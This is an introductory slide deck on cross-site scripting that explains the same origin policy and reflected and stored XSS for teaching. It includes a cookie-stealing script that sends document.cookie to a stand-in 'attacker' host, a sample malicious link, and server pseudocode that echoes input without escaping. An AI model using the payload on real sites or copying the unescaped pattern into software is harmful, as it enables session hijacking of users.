Cross-site Scripting (XSS)

Mike Choi
Overview

• Definition

• Types of Attack
  • Reflected
    • demo
  • Stored
    • Demo
Bypass the Same Origin Policy (SOP)

- SOP: random website cannot retrieve content from the websites with different origins
  - Ex) https://example.com/index.html can access content from https://example.com/about.html
  - However, https://attacker.com/index.html cannot

XSS attack bypasses such restriction by injecting malicious codes into the original, trusted website.

- Because the malicious codes are injected as HTML of the website, the victim’s browser trusts any code coming in from the website.
- Such malicious code enables attackers to steal cookies, spread malware, etc
Reflected XSS

• Happens when the user input is reflected on the page.

• Requires the victims to click the link
Check this out: http://website/search?keyword=<script>...</script>

GET http://attacker/?cookie=sensitive-data

Website's Response Script

print "<html>
print "You searched for:"
print request.query['keyword']
print "</html>"

Victim's Browser

Website's Response to Victim

<html>
You searched for:
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>
</html>
DEMO
Stored XSS

• Happens when the user input is permanently stored in the website’s HTML
• Whenever victim access the website, injected malicious code is executed
• Most website we log into remember the users by providing a session/auth code called cookie.
• By stealing the cookies of other users, we can be authorized by the website to impersonate the user.
DEMO
References

• https://www.incapsula.com/web-application-security/cross-site-scripting-xss-attacks.html
• https://searchsecurity.techtarget.com/definition/cross-site-scripting
• https://excess-xss.com/